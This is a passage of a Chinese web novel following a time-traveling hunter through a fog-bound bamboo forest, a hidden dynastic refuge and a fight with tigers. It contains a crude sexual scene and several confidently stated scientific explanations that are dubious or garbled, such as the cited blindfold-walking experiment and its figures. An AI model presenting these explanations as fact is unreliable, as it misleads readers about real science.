“我们明明一直在往前走,怎么又回到最开始的地方了?”
裴红玉额角垂下一滴冷汗,只觉细思极恐。
看来传言或许是真的。
这迷魂凼,确实处处透着诡异!
“裴队长,咱们还继续往前走吗?”
周楠语气充满不确定。
裴红玉定了定神,抬眸看向前方充满迷雾的道路,咬牙道:“走,继续走!”
先别管出不出得去!
当务之急,是先把薛猛找到。
找到了薛猛,再想办法出去不迟。
在裴红玉的指挥下,队列继续向前挺进。
又过了大概半个时辰。
队列再次停了下来。
“裴队长,那堆白骨又出现了,而且……变成了两堆!”
周楠惊恐的声音响起,令人闻之毛骨悚然。
裴红玉柳眉紧锁,咬了咬银牙:“他奶奶的,真撞鬼了不成?”
走了这么久,连薛猛的影子都没见着。
反倒撞上这等邪事。
啪!
裴红玉长枪一扫,直接将地上的白骨砸得粉碎,指着地上粉碎的白骨,破口大骂道:“你们这些游魂野鬼,都给姑奶奶消停点!”
“再敢作弄你姑奶奶,当心我一把火烧了你们!”
说完,裴红玉大手一挥,正准备带领队伍继续前进。
“嗷嗷嗷!”
手里牵着的猎犬,忽然挣脱绳子,向前冲去。
冲到队伍最前面,猎犬如临大敌,对着前方的浓雾狂吠起来。
所有人都是一惊。
裴红玉抬眸看去,只见浓雾里隐隐约约显现出一道高大的黑影。
看身形好像是棕熊!
“长枪队,列阵!准备迎敌!”
随着裴红玉一声娇叱,五名长枪手立即拉开架势,警惕地盯着浓雾中那道黑影!
“唬——吼——!”
似是感受到人类的威胁,那黑影微微一怔,随后从胸腔里发出了愤怒的低吼!
那吼声短促有力,厚重洪亮,震慑人心,比当初下山棕熊的吼叫还要恐怖。
几名长枪手不由得紧张发抖起来。
这到底是什么东西?
感觉不太像棕熊啊?
裴红玉也是前所未有的紧张起来,银牙紧咬,挥手示意身后的弓弩手:“弓弩手听着!长枪队刺枪之时,你们立即朝那东西放箭!”
“是!”
在副队长杨虎的带领下,十名弓弩手纷纷端起连弩,将冷锐箭头瞄准了浓雾后的高大黑影。
“吼!!”
高大黑影忽然蹬地一跃,朝着众人扑来。
刮起的狂风,将方圆五米的浓雾瞬间挥散!
在众人惊愕的目光中,那道黑影终于露出了真面目,竟然是一头毛色黑白相间的古怪巨兽。
脸颊圆钝,眼圈乌黑,身形圆胖,长得像熊又有点像猫。
啪啪啪!
宽厚的熊掌随意挥出,直接将长枪队手中长枪接连扫断!
裴红玉大惊:“放箭!”
咻咻咻!
疾风呼啸,铁箭飙射而出。
那黑白巨兽仿佛能够听懂人话,圆胖身子就地一滚,十几支铁箭接连插在地上,没能伤到巨兽一根毫毛!
“快躲开!”
看着巨兽像一个巨型肉球翻滚而来,弓弩手众人不得不四散躲避。
“咚”的一声闷响,黑白巨兽一头撞在一棵粗壮的巨龙竹上,方才停了下来。
巨大的冲击力,震得周围竹叶簌簌坠落。
“唬——吼——!”
黑白巨兽坐在地上,喉咙里发出低沉的咆哮,犹如闷雷碾过山谷。
周围的空气都为之震颤。
砰!
前掌骤然抬起,锋利如刀的利爪从肉垫中弹出。
一巴掌拍在撞到它的巨龙竹上,只听“咔嚓”一声脆响,粗如松柏的巨龙竹,竟被硬生生拍折。
轰隆!
巨大的竹子轰然倒地,带起的狂风,将周围的迷雾掀得四散开去!
顿时之间,周围的景象犹如拨云见雾,显现在了裴红玉等人眼前!
“原来这是一片竹林?”
裴红玉瞳孔一缩,没想到迷魂凼里竟是这般景象。
“喀嚓!”
黑白巨兽对着竹子狠狠发泄了一番,而后似乎被什么东西吸引,扭过大脑袋,抓起地上的铁箭,嗅了嗅箭头。
伸出舌头,舔舐起箭头上的铁锈。
黑白巨兽舔了一会儿,开始发出哼哼唧唧的声音,然后将箭头放进嘴里,大口咀嚼起来。
坚硬的铜铁,在它口中却犹如纸糊一般,轻易就被嚼成碎块。
“喀嚓、喀嚓!”
不多时,一整个铁箭头,都被它吃进了肚子里。
看着眼前这一幕,巡猎队众人面面相觑,全都看傻了眼。
周楠转头看向裴红玉:“裴队长,这到底是个什么东西,怎么连铁都吃?”
裴红玉冷眸闪烁,神情错愕,何尝不是看得一愣一愣的。
你问我,我问谁去?
打了一辈子猎,什么野物她没见过?
可偏偏这玩意儿,她是真不认识!
“这玩意儿到底是熊,还是猫?”
“它把咱们的武器全吃了,待会儿是不是要吃我们了!”
黑白巨兽压根懒得答应人类,只顾埋头吃铁。
不大会儿功夫,就把地上的箭头全吃了。
然后就开始啃竹子。
“大家不必惊慌!这东西叫做大熊猫,也叫做食铁兽!”
“它喜欢吃竹子、竹笋,偶尔也会吃铁器!”
“你们只要不去招惹它,它通常不会主动伤人!”
就在大家不知所措之时,竹林深处走出一道挺拔身影。
众人循声扭头,当看清来人面目,顿时一喜!
第75章 迷魂凼的秘密
“恩公!”
看清竹林里走出的人正是苦苦寻找的薛猛,寇达眼前一亮,连忙朝薛猛迎了上去。
巡猎队众人脸上都有了喜色。
太好了!
总算找到薛爷了!
裴红玉冰眸一闪,悬着的心也总算是放了下来。
“你们怎么都来了?”
薛猛扫视众人一圈,最后目光落在了裴红玉身上。
裴红玉冷哼一声,冲上去就一拳打在薛猛胸口:“哼!你个死东西,还好意思说!跟你说了多少遍,迷魂凼不能进,你偏偏还一个人跑进来!”
“你知不知道大家有多担心你?”
嘶哈!
薛猛揉了揉胸口,疼得龇牙咧嘴。
捂着胸口倒在地上。
“你就装吧,我才用一成力!”
裴红玉抱着胳膊,一副看穿薛猛的眼神。
薛猛蜷缩在地上,脸色惨白,满头冒汗,难受得说不出话来。
寇达提醒道:“裴姑娘,你天生神力,你的一成力,一般人也受不了啊!”
“啊?”
裴红玉闻言一怔,突然想起自己不小心用力过猛拉断薛猛弓弦的事情。
的确,她的一成力道,一般人也承受不住!
裴红玉顿时慌了,连忙在薛猛身前蹲下:“你真受伤了?”
“哪里痛啊,快给我看看!”
说着,裴红玉就要掀开薛猛的衣服。
薛猛紧紧抓住裴红玉的手,摁在自己胸口,虚弱道:“这里疼!”
“我帮你揉揉!”
裴红玉把手伸进薛猛衣服里。
“还疼吗?”
薛猛双眼微眯,偷瞥裴红玉着急的样子,嘴角勾起一抹阴谋得逞的笑意。
没想到这面冷芯儿热的大屁股,还挺关心我的!
“红玉妹子,我之前跟你说过,你打土匪立了首功,除了赏银,我还有另外的奖励要给你,你想知道是什么奖励吗?”
“我不要什么奖励,我只要你好好的活着!”
薛猛声音越来越虚弱,说上两句还咳喘了起来,一副说走就要走的架势。
裴红玉见状,急得眼里都快掉小珍珠了,也不顾身边还有这么多人看着,一把将薛猛搂进怀里。
“唔!天怎么黑了!”
突如其来的洗面奶,让薛猛两眼一黑。
反应过来是什么压在自己脸上来回翻滚,薛猛差点没原地起立。
真没想到,裴红玉这么冷漠强硬的女人,身上也有这么温软香甜的地方。
“唔……红玉妹子,先松开!我快喘不过气了!”
凡事过犹不及。
洗面奶虽好,但也不能贪杯啊!
薛猛强行把脸拔了出来。
呼!
再不透口气,非得被这憨婆娘的大肉坨子捂死。
“好你个薛猛!敢骗我!”
察觉出薛猛压根没事,裴红玉一把丢开薛猛,扭头走向一边,显然生气了。
“嘿嘿,跟你开个玩笑嘛!”
薛猛揉了揉胸口,要不是最近勤加锻炼,还真承受不住裴红玉那一拳。
“哼!都什么时候了,还有功夫开玩笑?还是想想该怎么走出这个鬼地方吧!”
裴红玉柳眉轻锁,环顾四周。
先前被大熊猫挥散的迷雾,又逐渐漫了上来。
过不了多久,他们又会变成睁眼瞎,分不清东南西北。
“恩公,裴姑娘说得对,这个地方太邪性了……我们还是快走吧!”
寇达将先前两次遇到白骨堆的事情,简要扼明告诉了薛猛。
薛猛听罢,低眉沉思起来。
类似鬼打墙的经历,他在一线天已经经历过。
但这里和一线天不一样,这里是一片巨龙竹林。
巨龙竹,乃是竹中之王,粗壮高大堪比松柏,这种竹子生长奇快,一天能长十厘米。
刚出土的竹笋,就能长到半个人高。
巨龙竹高达三十米,枝叶繁茂,会形成巨大冠盖,遮住阳光,很少有其他植物能够在竹林里生存下来。
很显然,这里并没有醉仙桃之类的有毒植物。
可见裴红玉她们之前遇到的怪事,并不是中毒产生的幻觉。
看着四周弥漫而来的浓雾,薛猛脑中灵光一闪,恍然大悟。
“我明白了!”
“是这些浓雾导致的!”
浓雾剥夺了视觉能见度,可以让人的感知发生扭曲。
走在浓雾中,就像蒙着眼在走路。
这让薛猛不禁想起,前世看到过的一则报道。
2009年,德国科学家在森林中做过一个实验,让志愿者蒙着眼在森林中直行。
结果显示 90%的人都会不自觉地偏离直线,最终形成圆形轨迹,也就是俗称的“兜圈子”。
因为人类的双腿,其实并不是完全对称的。
左右腿肌肉力量和步幅大小都有细微差别。
这种差别,在眼睛能够看见路的情况下并不明显。
但一旦蒙上眼,失去了参照物,人就只能依靠肌肉本能行走。
大部分人右腿肌肉力量比左腿大,所以右腿每迈出一步,就比左腿多迈出 1毫米。
别小看这一毫米的差异,短距离内看不出什么,但行走一千步后,轨迹就会偏离直线约 1米。
最终形成半径约 500米的圆圈,于是就不知不觉在原地兜起了圈子。
古人愚昧,不知道这些原理,就会以为是遇到了“鬼打墙”!
听了薛猛的科学解释,巡猎队众人全都迷迷糊糊,还是无法理解。
古人的思维模式和现代人,根本就不在一个维度上。
薛猛叹了口气,看来办学堂的事情,是要催催徐伯了!
加强科学教育,非常有必要。
不然自己说再多,也是对牛弹琴!
周楠问道:“薛爷,如果不是鬼怪作祟,那堆白骨为什么会变成两堆呢?”
薛猛回道:“同样是雾导致的!”
雾说白了就是悬浮在空中的细小水滴,水会折射光线。
一堆白骨变成两堆白骨,其实就是光的折射现象。
裴红玉闻言,似乎听明白了一点,若有所思道:“难怪我砸碎那堆白骨后,两堆又变回了一堆,原来我们看见的假象?”
“你们快看那儿!”
正说着,杨虎突然指着一个方向惊愕大叫。
众人顺着他所指方向扭头看去,只见不远处的天空上,出现了绚烂的七彩霞光。
所有人都看呆了。
裴红玉冰眸圆瞪,口中低喃:“原来传说都是真的,这迷魂凼里,真有七色霞光?”
“相传此地原名仙乐谷,乃是神仙修道的洞府,凡人擅自入内,就会被迷惑心智,受到严惩,有进无出!天上出现七色霞光,便是神仙显灵!说明神仙已经知道我们进来了!”
“完了,咱们这次真的出不去了!”
呼!
听了裴红玉这话,巡猎队众人全都面如土色,一个个都会吓坏了。
“噗呲!”
薛猛一个没忍住,直接笑出了声。
什么勾八神仙显灵?
这不就是彩虹吗?
“大家听我说,这不是什么神仙显灵,这叫做彩虹,只是一种自然现象,是由于阳光照射空气的水滴,发生光的反射和折射造成的。”
“我已经说了很多遍了,这迷魂凼里没有鬼怪,也没有什么神仙!”
“想要出去不难,只需要驱散这些浓雾即可!”
说完,也不管大家什么反应,薛猛直接拔出腰间警恶刀,开始砍伐竹子。
砰!
一根枝叶繁茂的巨龙竹轰然倒地。
带起的狂风,瞬间将浓雾驱散大半!
前方的道路,顿时清晰了起来。
薛猛提着刀,毅然迈步向前走去。
每走三十步,就砍倒一棵巨龙竹。
此举不仅可以驱散前方的大雾,还可以吓跑那些潜藏在浓雾里的蛇虫野兽!
而且,倒下的竹子笔直向前,形成了天然的指向标,如此一来,跟着竹子倒下的方向走,就绝对不会再偏移路线!
“薛爷真是聪明绝顶啊!居然想到这种好办法!”有人反应了过来。
“我们之前怎么没想到这法子?”
“如此一来,一直往前走,总能找到出路!”
看着薛猛披荆斩棘,悍然无畏的背影,二十几双眼睛,无不是写满震惊和崇拜。
裴红玉震惊之余,更是俏脸羞红,自愧不如。
原来还能这么玩儿?!
和薛猛这办法比起来,自己之前带着大家在浓雾里提心吊胆地兜圈子,简直太蠢了!
第76章 世外桃源
薛猛凭借手中一把刀,独自在前开路,走了大概半个时辰。
前方的雾气越来越淡。
久违的阳光和清风透了进来,风中还带着些许青草香。
薛猛快步冲出竹林,顿时被眼前的景象镇住了。
只见前方天高云淡,视野开阔,赫然是一片碧绿的草地。
草地上,还有一条蜿蜒的小河。
没想到,被世人称为“生人禁地”的迷魂凼里,居然隐藏着这样一处世外桃源!
“唏律律!”
听见马鸣,薛猛循声找去,只见自己寻找多时的乌骓马,正在河边若无其事地低头饮水。
距离河边不远处,一个少女背对薛猛,坐在青石上,似在吹奏什么乐器。
发出的乐音,古朴低沉,而又不失悠远空灵。
让人如听仙乐耳暂明,薛猛不由得驻足原地,陶醉其中,双眼微闭,欣赏起这古韵悠扬的乐声。
只是,这乐声中似乎蕴藏着一股怀古伤今、思乡而不能回的愁绪。
听久了,颇有几分秋风萧索之感。
不知过了多久,乐声戛然而止。
薛猛眼角垂下一滴泪水。
想起了前世在地球上的家人和朋友!
自己以后,再也见不到他们了!
“你是什么人?来这里做什么?”
一个清澈空灵如百灵鸟的声音,在耳畔响起。
薛猛回过神来,缓缓睁开眼。
只见吹奏乐器的少女,不知何时已经来到了自己身前。
少女虽然身着兽皮做成的衣服,但却眉眼如画,气质脱俗。
目光明净,一尘不染,整个人就犹如她吹奏的曲子一样,自带一种空灵的气质。
用夸张一点的说法,就是恍然若仙!
薛猛并没有直接回答对方的问题,而是指着对方手里的乐器,说道:“你吹的是陶埙吧。”
“吹得真好,吹得我都想家了。”
见薛猛眼圈微红,脸上还带着泪痕,少女不由一怔。
没想到,居然有人能听出她曲中思乡之意。
少女脸色依旧冷淡:“你还没回答我,你是什么人?”
“我是什么人不重要,重要的是你是什么人。”
薛猛抹了抹眼泪,饶有兴致地打量起少女,挑眉道:“你一个弱女子,怎么会出现在迷魂凼里?”
薛猛话音刚落,一柄冰冷铁刺,便顶住了他的咽喉。
少女手握铁刺,冷声道:“现在你还觉得我是弱女子吗?”
“快说!你到底是什么人!”
“两百年来,从来没有人能够活着闯过迷雾竹林,走到这里来!”
“你到底是怎么进来的?想干什么?是不是大虞的狗皇帝派你来的!”
薛猛闻言一怔,随即想起迷魂凼入口石碑上记载的那些历史事件。
顿时对眼前这名少女的身份,有了些许揣测。
两百年前,前朝梁哀帝曾经带着妃子群臣和八百残兵逃入迷魂凼,之后离奇失踪。
这少女,莫不就是梁哀帝的后人?
薛猛伸出两根指头,缓缓压下对方的铁刺,解释道:“姑娘,你误会了!我不是大虞皇帝派来的,我是卧虎山南麓卧虎村的村民!”
“我的马受了惊,跑进了迷魂凼,我来这里只是为了找我的马!”
少女瞥了眼河边喝水的乌骓马,将信将疑。
“不对!你刚才还说听完我的曲子想家了,怎么又成了附近村子的村民?谎话连篇,我饶不得你!”
少女发现了薛猛话中漏洞,手中铁刺咄咄逼人!
薛猛不由一怔,这个问题,他一时半会儿还真不知道该怎么回答。
他的确想家了,但他想的家,是前世地球上的家!
这让他怎么解释?
“我是穿越者。”薛猛摊牌了。
“什么川粤者?你是岭南人?”少女诧异。
薛猛先是一愣,随即将错就错,点头道:“啊对对对,我就是岭南人,因家乡灾荒不得不背井离乡,来到蜀郡做生意。”
“所以我一听到你的曲子,就忍不住想到了我老家的父老乡亲,可惜再也回不去了,不由得悲从中来,潸然泪下!”
说着,薛猛红了眼圈,跟真的一样!
哎!
少女一声轻叹,缓缓垂下手中铁刺。
不知道想起了些什么,亦是湿润了眼眶。
少女从河边牵回乌骓马,将缰绳交到薛猛手中:“同是天涯沦落人,我便信你一次。”
“原本以为捡到一匹好马,没想到它已经有了主人,也罢,牵着你的马,快走吧!”
薛猛看着乌骓马身上的彩色缰绳,怔了怔,原来的缰绳断了,这缰绳显然是少女重新换上的。
除此之外,乌骓马脖子上还挂上了一个铃铛,应该也是少女挂上的。
铃铛上还刻着一个乐字。
薛猛猜测,那应该就是少女的名字。
“多谢了,乐儿姑娘。”
薛猛接过缰绳,冲少女友善微笑。
少女诧异:“你怎么知道我叫乐儿?”
薛猛指了指铃铛:“上面不是写着吗?”
少女愣了愣神,随即恢复冷淡口气:“你很聪明,聪明得不像一个村民!你的弓和刀,还有这匹马,都不是凡物。”
“但愿你不要欺骗我,你到底是谁?”
薛猛目光真挚,坦白道:“我真是卧虎村村民,我是一个猎户,射杀了棕熊,取了百年熊胆,救治了一个贵人,这刀和马,是那贵人赏赐给我的。”
“你若是不信,可以到我们村子看看。”
少女盯着薛猛的双眼,看了好一会儿,在薛猛眼底看不见丝毫欺骗之意:“好吧,我相信你,希望你不要辜负我的信任。”
“我叫萧南乐,至于我的身份,你这样的聪明人应该不难猜到。”
“你必须答应我,出去之后,决不能对任何人说起这里的事情,否则,我和我的家人将面临灭顶之灾!”
少女这番话,无疑是坐实了薛猛先前的揣测。
前朝梁哀帝,就姓萧!
这少女的身份,自是不言而喻。
“萧姑娘,你放心吧,我想我们会成为朋友的。”
薛猛咧嘴一笑。
朋友?
少女眸光一颤,心中黯然。
两百年来,他们世世代代躲藏于此,从来不敢涉足外面的世界。
这也导致,她一个朋友也没有。
薛猛,是她见过的第一个山外人!
有时候,她也会幻想,走出迷魂凼,去看看山外的世界,去看看老祖宗口中的“故乡”!
但想归想,却永远不敢真正踏出那一步。
如果有一个山外的朋友,或许可以从他这里,了解山外的世界?
萧南乐忍不住对薛猛问道:“山外的世界是什么样的?是不是比这里好多了?”
薛猛想了想,不置可否:“好,也不好。”
“外面虽然天地广阔,但无钱无势之人,却是寸步难行,赶上灾荒、战乱,不少百姓流离失所,活活饿死!”
萧南乐目光复杂,听得时而皱眉,时而感叹。
薛猛又道:“但外面人很多,形形色色各种各样的人都有,可以认识很多朋友!”
“哦对了,还有漂亮的丝绸和锦缎,有酒楼,有茶馆,有唱戏的……”
萧南乐看着薛猛身上穿的衣服,花纹很是漂亮:“我可以摸一下你的衣服吗?”
薛猛一怔点头:“可以啊。”
萧南乐颤抖着手,轻轻抚摸着薛猛衣服的料子:“这就是传说中的蜀锦吗?”
薛猛笑道:“你若是喜欢,回头我可以给你送一些来。”
咻咻!
忽然,远处响起一声唿哨。
阵阵马蹄声随之传来。
薛猛一惊,举目眺望,只见远处出现了几个黑点,稍近一些,可以看见是几名骑士朝这边飞驰而来。
萧南乐眸光一颤:“不好!是我舅舅和表哥来了!”
“你快走!若是被他们撞见你,不管你是不是大虞朝廷的鹰犬,你都走不成了!”
第77章 下山不提山上事
“既然如此,咱们就此别过,今后有缘再见!驾!”
在萧南乐的催促下,薛猛翻身上马。
手挽缰绳,大腿一夹马腹,胯下乌骓一跃数丈,带着他绝尘而去。
不多时。
几名骑士骑马飞奔而来,为首的是个方脸大汉,身旁紧跟着一个和方脸大汉五官相似的年轻男人,身上都穿着兽皮做成的衣服。
“舅舅,表哥!”
萧南乐故作平静地对两人喊道。
“乐儿,刚才发生了什么?是不是山外来了外人?”
方脸大汉翻身下马,面色阴沉,皱眉问道。
萧南乐眨着眼睛,满脸茫然:“舅舅,你在说什么呢?我刚才在这里吹埙,并没有人来啊?”
“是吗?可我刚才好像看见有个人影……”
方脸大汉张了张嘴,还要追问。
话还没说完,却被身旁的年轻男人打断:“爹,我就说刚才是你看花眼了!”
“两百年来,从来没有人发现过我们。”
“再说了,有迷雾竹林这个天然屏障,怎么可能会有外人能进来这里?”
方脸大汉还是不放心:“话虽如此,但当年咱们老祖宗能够进来,谁也说不准,会不会有外人也发现这里的奥秘!”
“乐儿,舅舅再问一遍,刚才真的没人进来?”
“没有。”
萧南乐果断摇头。
“爹,你就别多想了!”
年轻男人替萧南乐帮腔道:“表妹还能骗我们不成?她说没有,肯定就是没有!”
方脸大汉皱眉叹道:“那可能真是我看花了眼吧。”
话虽如此,但方脸大汉还是朝迷雾竹林的方向深深看了一眼。
恍然间,他感觉今天的雾,似乎比往常淡了一些。
“驾!咱们走!”
薛猛藏身在竹林之后,透过竹枝间隙,看着草地上的几名骑士,虎目充满警惕。
直到方脸大汉扬起马鞭,带着几名骑士转身离去。
薛猛方才松了口气。
啪!
就在这时,身后有人拍了他一下。
薛猛吓得虎躯一震,扭头一看,就看见裴红玉跟了过来。
“你在这儿猫着干什么?前面有出路吗?”
裴红玉举步就要朝前走去。
薛猛一把拽住她:“我已经看过了,前面没有出路!咱们原路返回,另找出路吧!”
“是吗?”
裴红玉面露狐疑,想要亲自去看看,她都已经看见阳光了。
薛猛一巴掌拍在她屁股上,严肃道:“听话!不然我不给你奖励了!”
裴红玉一把打开薛猛的咸猪手,傲娇道:“切,谁稀罕!”
薛猛轻笑:“一百串椒麻烤肉串,你确定不要?”
“多少?一百串烤肉串?!”
裴红玉闻言一惊,眼冒精光。
一想起之前薛猛烤的猪獾肉,就忍不住口水直流!
那鲜嫩椒麻的口感,她做梦都想再吃一次!
“那行吧,我听你的!”
看在肉串的份儿,裴红玉决定听薛猛的话。
裴红玉牵着白龙犬,薛猛牵着乌骓马,慢悠悠往回走。
“红玉妹子,你屁股还疼吗?”
看着裴红玉大腚在眼前一扭一扭的,薛猛只觉口干舌燥,真想把这货给就地正法了。
这肉乎乎的,啃腚老带劲了!
裴红玉停下步子,满脸幽怨:“哼!你还好意思说?你都几天没给我上药了?怕是纳了小妾,忙着造娃,都顾不上我这个外人咯!”
“那你做我的内人吧,这样我就可以天天给你上药了!”
林雅娴和徐瑾儿身子骨太瘦弱了,薛猛压根不敢尽情发挥,每次都收着劲儿,属实不过瘾。
裴红玉这身板儿,切磋起来才有意思!
裴红玉啐了薛猛一口:“去你的!姑奶奶是石头打的寨门,闭得紧!就你这样的,我一屁股能坐死你!”
薛猛挑眉道:“石头打的寨门?我还铁打的钻头呢!”
“等着吧!我早晚有一天,非把你这石寨门凿个洞出来,叫你闭得再紧,也漏些泉水出来!”
“你来呀!有种你现在就试试!凿不出泉水来,姑奶奶把你那破玩意儿割了喂狗!”
说完,裴红玉直接解开裤腰带,把裤子往下一拉。
哗啦!
两瓣儿肥白,显露在空气里。
薛猛虎目圆瞪,这下反倒把他整不会了。
好家伙!
这娘们儿够野啊!
自己不过是口嗨罢了!
她可倒好,说来就来?!
“有种就在这儿办了我,一天天尽耍嘴皮子,姑奶奶倒要看看你有几斤几两,别到时候光打雷不下雨。”
“草!老子今天不把你这匹烈马降服了,你不知道花儿为什么这样红!”
薛猛骂了一句脏话。
征服欲彻底被激了起来!
这都不接招,还算是男人?
今天这场竹林激战,是不可避免了!
临门之际,薛猛忽然想起一个关键的问题:“咱俩在这儿切磋,万一寇达他们过来撞见怎么办?”
“我让他们在原地待命,他们不会过来的!”
“那你可要遭老罪咯!”
薛猛紧紧搂住裴红玉的腰。
整个身子都靠了上去。
“不过你也别怕,就算你待会儿走不了路,哥也会背你下山的!”
……
“嘿嘿,好玩儿!”
“这东西长得圆圆乎乎的,是挺讨人喜欢!”
寇达、周楠、杨虎三人,正用竹笋逗弄着大熊猫。
他们发现这玩意儿,虽然长得像熊,但却不吃肉,只爱吃竹子。
只要不惹恼它,它就不会攻击人。
经过一段时间的相处,大熊猫也发现这些人类没有恶意,对他们放下了戒心。
“啊!!!”
三人玩得正起劲,忽然听见竹林深处传来一声惨叫。
巡猎队众人全都朝着惨叫传来的方向看去。
那惨叫声,听着像是薛猛的声音!
“不好!恩公出事了!”
寇达第一时间循声冲了过去。
其余人也顾不上裴红玉原地待命的指令,纷纷抄起家伙,跟了上去。
“呼!呼!”
薛猛额角布满细汗,背靠一棵巨龙竹,瘫坐在地,大口大口喘着粗气。
他是万万没想到,裴红玉不光是身上肌肉发达,连盆底耻尾肌的收缩能力也是堪称恐怖!
林深而道险,曲径而幽长。
弯道多,温度高,重门深锁,步步紧逼,简直寸步难行。
薛猛仗着蛮力好不容易打进寨门,不料裴红玉耻尾肌猛然一夹,薛猛顿觉一股沛然莫之能御的巨力,犹如排山倒海夹道而来。
口中忍不住发出一声惨叫,当场就被杀得一败涂地。
“废物!”
裴红玉提上裤子,居高临下地看着瘫坐在地,满脸颓败的薛猛。
“姑奶奶还以为你有多厉害呢,原来是个银样蜡枪头,中看不中用!”
对于薛猛的表现,裴红玉非常不满意。
害她白期待了这么久。
她连一成功力都没有用到,薛猛就败下阵来。
“下山不提山上事!红玉妹子,算哥求你,刚才的事情,你千万别告诉任何人!”
薛猛抱住裴红玉大腿,苦苦哀求道。
裴红玉不屑冷嗤:“亏你还是射杀了棕熊的白虎乡英雄,说出去怕要惹来万人笑。”
“给你机会不中用,以后别想再碰我了。”
裴红玉对薛猛太失望了。
期待许久的第一次,就这么草率地结束了。
说完,裴红玉冷着脸,扭头就走,懒得再搭理薛猛。
看着裴红玉远去的背影,薛猛拳头紧握,暗自咬牙发誓,回去后一定要勤加练习!
来日定要一雪今日之耻!
之前薛猛一个人打林雅娴和徐瑾儿两个都绰绰有余,自以为已经打遍天下无敌手!
不曾想,今日试了试裴红玉的深浅,方知自己还得练!
这娘们儿,浑身上下,里里外外都是劲儿!
没有金刚钻,还真奈何不得她!
第78章 捅了华南虎窝子
一路上,裴红玉都没有再和薛猛说一句话。
看着裴红玉肉乎乎的身子,薛猛只能望洋兴叹,也不敢再去撩拨这母老虎了。
二人没走多久,就碰上了匆忙赶来的寇达。
寇达一见薛猛,垂头丧气,脸色惨白,连忙上前问道:“恩公,你这是怎么了?没事吧?”
薛猛摆摆手:“没事,只是受了些风寒罢了。”
裴红玉哼了一声,懒得戳穿薛猛,兀自向前走去。
寇达愣了愣,看了看裴红玉,又看了看薛猛,总感觉这俩人有哪里不对劲,但到底哪里不对劲,他又说不上来。
感觉就像是小两口吵架了一样。
很快,巡猎队众人重新汇合,大家换了一个方向寻找出路。
但这次,换了裴红玉在前面砍竹子开道。
走了大概一个多时辰。
空气越来越闷热。
浓雾淡了不少。
不知不觉间,成片的巨龙竹不见了,周围的植被种类丰富了起来。
“咱们这是到哪儿来了?这应该不是迷魂凼了吧?”
周楠问道。
没有人能够回答他。
因为这是一个完全陌生的山林,大家都没来过。
天色阴沉,乌云密布,看样子快要下雨了。
轰隆!
又走了片刻功夫,天边忽然有一道电光闪过。
啪啪!
豆大的雨珠说下就下,砸得林中树叶抬不起头。
“那边有个山洞,咱们进去避避雨吧!”
寇达一指不远处的山岩,说道。
众人急忙赶去,躲进了山洞里避雨。
唯独薛猛,呆呆地站在原地,盯着一个方向怔怔出神。
密林深处,雨水飞溅。
有什么东西,朝这边过来了。
光听脚步声,就不难想象那东西个头绝对不小。
一股无形压迫感,随之而来。
“唏律律!”
乌骓马扬起蹄子,惊恐嘶鸣起来!
薛猛心弦一紧,从背后箭筒抽出狼牙箭,拉弓搭箭,将箭头对准了声音源头。
不多时,一双琥珀色的兽瞳,从林间显现而出。
一头毛色黄白相间,四肢粗壮,肌肉发达的斑斓猛虎,出现在了薛猛身前!
额头上的“王”字纹霸气侧漏。
看身形,应该是一头华南雌虎。
嘴里还叼着一具熊猫幼崽的尸体。
“吼!!”
摄人心魄的虎啸声骤然响起。
薛猛一惊,这虎啸不是从眼前的雌虎发出来的,而是从身后的山洞里。
余光扫去,只见躲进山洞里的巡猎队众人,全都仓皇跑了出来。
五条老虎紧跟着扑出了山洞!
“薛爷不好了!咱们捅了老虎窝子了!”
寇达惊慌道。
那山洞,竟是老虎的巢穴!
“大家不要惊慌,长枪队,列阵!”
裴红玉冷眸闪烁,下意识喊道。
白龙犬嗷嗷叫唤,与老虎对峙。
周楠满脸苦涩:“裴队长,你忘了吗?我们的长枪都被那什么大熊猫打断了!”
杨虎也是满脸为难:“我们弓弩队的箭头,也被那家伙吃了!”
若是有武器在身,别说是六只老虎,就是十只他们都不带怕的!
可如今大家手无寸铁,仅靠肉体凡胎,拿什么跟这些大虫打?
裴红玉一咬银牙,冲薛猛喊道:“薛猛!咱俩一人对付三只,你没问题吧?”
薛猛拉弓的手,微微颤抖。
面色惨白,额角垂下一滴冷汗。
不敢应声。
若是往常,他还真没把这些老虎放在眼里!
可如今,被裴红玉这大屁股伤了肾气。
手止不住的发抖。
弓箭手最忌讳手抖,手一抖,准头可就没谱了!
“吼!!!”
雌虎放下嘴里叼着的熊猫幼崽,虎视眈眈盯着薛猛,仿佛在打量送上门的食物。
胡须颤抖,虎爪挠地,作势欲扑。
咻!
薛猛连忙撒手放箭。
疾风呼啸而过,狼牙箭只是擦伤了雌虎皮毛,却没能射中对方要害。
乌骓马驮着薛猛,惊慌逃窜。
砰!
雌虎扑落在地,镰刀般的虎爪在地上留下瘆人爪印。
咻咻咻!
薛猛勒马扭腰,接连射出三箭,但都没能射中雌虎要害。
倒不是那雌虎有多敏捷,而是薛猛手抖,全都射偏了。
“薛猛,你搞什么鬼!”
裴红玉挥舞重达六十八斤的钢枪,刺翻了一头雄虎。
余光却瞥见薛猛连一头雌虎都没搞定。
这显然不是薛猛的正常水平!
薛猛却是有苦难言。
总不能说自己肾虚手抖,射不准了吧?
“恩公,我来助你!”
寇达取下腰后爬墙用的飞虎爪,抡臂一甩,铁爪直接钩住了雌虎脖子。
寇达将飞虎爪的绳子丢过树梢,在树下接住绳头,使劲拽绳子,想把雌虎吊起来。
弓弩队众人见状,连忙上前,帮寇达拽绳子。
十几个人齐心协力,方才将重达两百多斤的雌虎吊至半空。
雌虎被铁爪钩破咽喉,血浆飞溅,嘴里不停发出低吼,最终活活吊死在了树上。
“吼!吼!”
雌虎一死,其余几只老虎眼冒绿光,顿时甩开了裴红玉和薛猛,发疯般朝寇达几人扑了过来。
这些老虎全是公的,个头不大,全都不超过两百斤。
看样子应该都是雌虎所生,还没成年。
几只老虎的虎啸声震天动地。
仿佛连雨点都被他们震散了。
“寇达兄弟,快上树!!”
薛猛冲寇达几人大喊一声,与此同时,手中狼牙箭接连射出。
咻咻咻!
不过瞬息之间,十三支箭,全部射光!
总算射中了一只雄虎!
一共六只老虎,裴红玉杀了一只,寇达杀了一只,薛猛杀了一只。
还剩下三只。
连续开弓,薛猛已经无箭可射,只能用尽最后的力气爬到了树上。
巡猎队众人闻言,也纷纷往树上爬。
只有裴红玉周围无树可爬,被三只老虎团团围住,陷入进退两难的绝境。
“你们这些畜牲!老娘跟你们拼了!”
裴红玉冰眸圆瞪,身上全是虎血,握枪的手微微颤抖。
